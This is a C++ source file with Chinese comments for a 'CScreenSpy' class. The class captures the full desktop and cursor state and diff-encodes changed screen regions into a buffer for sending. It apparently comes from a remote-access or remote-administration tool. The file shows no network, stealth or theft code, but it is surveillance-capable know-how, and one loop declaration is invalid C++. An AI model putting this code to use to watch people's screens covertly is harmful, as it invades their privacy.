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ScreenSpy.cpp
316 lines (230 loc) · 7.13 KB
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ScreenSpy.cpp
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// ScreenSpy.cpp: implementation of the CScreenSpy class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "ScreenSpy.h"
#include "Common.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CScreenSpy::CScreenSpy(ULONG ulbiBitCount)
{
m_bAlgorithm = ALGORITHM_DIFF;
m_dwBitBltRop = SRCCOPY;
m_BitmapInfor_Full = NULL;
switch (ulbiBitCount)
{
case 16:
case 32:
m_ulbiBitCount = ulbiBitCount;
break;
default:
m_ulbiBitCount = 16;
}
m_hDeskTopWnd = GetDesktopWindow();
m_hFullDC = GetDC(m_hDeskTopWnd);
m_hFullMemDC = CreateCompatibleDC(m_hFullDC);
m_ulFullWidth = ::GetSystemMetrics(SM_CXSCREEN); //屏幕的分辨率
m_ulFullHeight = ::GetSystemMetrics(SM_CYSCREEN);
m_BitmapInfor_Full = ConstructBI(m_ulbiBitCount,m_ulFullWidth, m_ulFullHeight);
m_BitmapData_Full = NULL;
m_BitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full,
DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL);
::SelectObject(m_hFullMemDC, m_BitmapHandle);
m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2];
m_RectBufferOffset = 0;
m_hDiffMemDC = CreateCompatibleDC(m_hFullDC);
m_DiffBitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full,
DIB_RGB_COLORS, &m_DiffBitmapData_Full, NULL, NULL);
::SelectObject(m_hDiffMemDC, m_DiffBitmapHandle);
}
CScreenSpy::~CScreenSpy()
{
ReleaseDC(m_hDeskTopWnd, m_hFullDC); //GetDC
if (m_hFullMemDC!=NULL)
{
DeleteDC(m_hFullMemDC); //Create匹配内存DC
::DeleteObject(m_BitmapHandle);
if (m_BitmapData_Full!=NULL)
{
m_BitmapData_Full = NULL;
}
m_hFullMemDC = NULL;
}
if (m_hDiffMemDC!=NULL)
{
DeleteDC(m_hDiffMemDC); //Create匹配内存DC
::DeleteObject(m_DiffBitmapHandle);
if (m_DiffBitmapData_Full!=NULL)
{
m_DiffBitmapData_Full = NULL;
}
}
if (m_BitmapInfor_Full!=NULL)
{
delete[] m_BitmapInfor_Full;
m_BitmapInfor_Full = NULL;
}
if (m_RectBuffer)
{
delete[] m_RectBuffer;
m_RectBuffer = NULL;
}
m_RectBufferOffset = 0;
}
ULONG CScreenSpy::GetBISize()
{
ULONG ColorNum = m_ulbiBitCount <= 8 ? 1 << m_ulbiBitCount : 0;
return sizeof(BITMAPINFOHEADER) + (ColorNum * sizeof(RGBQUAD));
}
LPBITMAPINFO CScreenSpy::GetBIData()
{
return m_BitmapInfor_Full;
}
LPBITMAPINFO CScreenSpy::ConstructBI(ULONG ulbiBitCount,
ULONG ulFullWidth, ULONG ulFullHeight)
{
int ColorNum = ulbiBitCount <= 8 ? 1 << ulbiBitCount : 0;
ULONG ulBitmapLength = sizeof(BITMAPINFOHEADER) + (ColorNum * sizeof(RGBQUAD)); //BITMAPINFOHEADER + 调色板的个数
BITMAPINFO *BitmapInfor = (BITMAPINFO *) new BYTE[ulBitmapLength]; //[][]
BITMAPINFOHEADER* BitmapInforHeader = &(BitmapInfor->bmiHeader);
BitmapInforHeader->biSize = sizeof(BITMAPINFOHEADER);//pi si
BitmapInforHeader->biWidth = ulFullWidth; //1080
BitmapInforHeader->biHeight = ulFullHeight; //1920
BitmapInforHeader->biPlanes = 1;
BitmapInforHeader->biBitCount = ulbiBitCount; //32
BitmapInforHeader->biCompression = BI_RGB;
BitmapInforHeader->biXPelsPerMeter = 0;
BitmapInforHeader->biYPelsPerMeter = 0;
BitmapInforHeader->biClrUsed = 0;
BitmapInforHeader->biClrImportant = 0;
BitmapInforHeader->biSizeImage =
((BitmapInforHeader->biWidth * BitmapInforHeader->biBitCount + 31)/32)*4* BitmapInforHeader->biHeight;
// 16位和以后的没有颜色表,直接返回
return BitmapInfor;
}
LPVOID CScreenSpy::GetFirstScreenData()
{
//用于从原设备中复制位图到目标设备
::BitBlt(m_hFullMemDC, 0, 0,
m_ulFullWidth, m_ulFullHeight, m_hFullDC, 0, 0, m_dwBitBltRop);
return m_BitmapData_Full; //内存
}
ULONG CScreenSpy::GetFirstScreenLength()
{
return m_BitmapInfor_Full->bmiHeader.biSizeImage;
}
LPVOID CScreenSpy::GetNextScreenData(ULONG* ulNextSendLength)
{
if (ulNextSendLength == NULL || m_RectBuffer == NULL)
{
return NULL;
}
// 重置rect缓冲区指针
m_RectBufferOffset = 0;
// 写入使用了哪种算法
WriteRectBuffer((LPBYTE)&m_bAlgorithm, sizeof(m_bAlgorithm));
// 写入光标位置
POINT CursorPos;
GetCursorPos(&CursorPos);
WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT));
// 写入当前光标类型
BYTE bCursorIndex = m_CursorInfor.GetCurrentCursorIndex();
WriteRectBuffer(&bCursorIndex, sizeof(BYTE));
// 差异比较算法
if (m_bAlgorithm == ALGORITHM_DIFF)
{
// 分段扫描全屏幕 将新的位图放入到m_hDiffMemDC中
ScanScreen(m_hDiffMemDC, m_hFullDC, m_BitmapInfor_Full->bmiHeader.biWidth,
m_BitmapInfor_Full->bmiHeader.biHeight);
//两个Bit进行比较如果不一样修改m_lpvFullBits中的返回
*ulNextSendLength = m_RectBufferOffset +
CompareBitmap((LPBYTE)m_DiffBitmapData_Full, (LPBYTE)m_BitmapData_Full,
m_RectBuffer + m_RectBufferOffset, m_BitmapInfor_Full->bmiHeader.biSizeImage);
return m_RectBuffer;
}
//m_rectBuffer [BYTE 4X 4Y BYTE 0002 0002 000A 000C] m_rectBufferOffset = 10
return NULL;
}
VOID CScreenSpy::WriteRectBuffer(LPBYTE szBuffer,ULONG ulLength)
{
memcpy(m_RectBuffer + m_RectBufferOffset, szBuffer, ulLength);
m_RectBufferOffset += ulLength;
}
VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight)
{
ULONG ulJumpLine = 50;
ULONG ulJumpSleep = ulJumpLine / 10;
for (int i = 0, int ulToJump = 0; i < ulHeight; i += ulToJump)
{
ULONG ulv1 = ulHeight - i;
if (ulv1 > ulJumpLine)
ulToJump = ulJumpLine;
else
ulToJump = ulv1;
BitBlt(hdcDest, 0, i, ulWidth, ulToJump, hdcSour,0, i, m_dwBitBltRop);
Sleep(ulJumpSleep);
}
/*
if (m_hFullMemDC!=NULL)
{
DeleteDC(m_hFullMemDC); //Create匹配内存DC
::DeleteObject(m_BitmapHandle);
if (m_BitmapData_Full!=NULL)
{
m_BitmapData_Full = NULL;
}
m_hFullMemDC = NULL;
}
::BitBlt(hdcDest, 0, 0,
ulWidth, ulHeight, hdcSour, 0, 0, m_dwBitBltRop);
*/
}
ULONG CScreenSpy::CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData,
LPBYTE szBuffer, DWORD ulCompareLength)
{
// Windows规定一个扫描行所占的字节数必须是4的倍数, 所以用DWORD比较
LPDWORD p1, p2;
p1 = (LPDWORD)CompareDestData;
p2 = (LPDWORD)CompareSourData;
// 偏移的偏移,不同长度的偏移
ULONG ulszBufferOffset = 0, ulv1 = 0, ulv2 = 0;
ULONG ulCount = 0; // 数据计数器
// p1++实际上是递增了一个DWORD
for (int i = 0; i < ulCompareLength; i += 4, p1++, p2++)
{
if (*p1 == *p2)
continue;
// 一个新数据块开始
// 写入偏移地址
*(LPDWORD)(szBuffer + ulszBufferOffset) = i;
// 记录数据大小的存放位置
ulv1 = ulszBufferOffset + sizeof(int); //4
ulv2 = ulv1 + sizeof(int); //8
ulCount = 0; // 数据计数器归零
// 更新Dest中的数据
*p1 = *p2;
*(LPDWORD)(szBuffer + ulv2 + ulCount) = *p2;
/*
[1][2][3][3]
[1][3][2][1]
[0000][ ][1321]
*/
ulCount += 4;
i += 4, p1++, p2++;
for (int j = i; j < ulCompareLength; j += 4, i += 4, p1++, p2++)
{
if (*p1 == *p2)
break;
// 更新Dest中的数据
*p1 = *p2;
*(LPDWORD)(szBuffer + ulv2 + ulCount) = *p2;
ulCount += 4;
}
// 写入数据长度
*(LPDWORD)(szBuffer + ulv1) = ulCount;
ulszBufferOffset = ulv2 + ulCount;
}
// nOffsetOffset 就是写入的总大小
return ulszBufferOffset;
}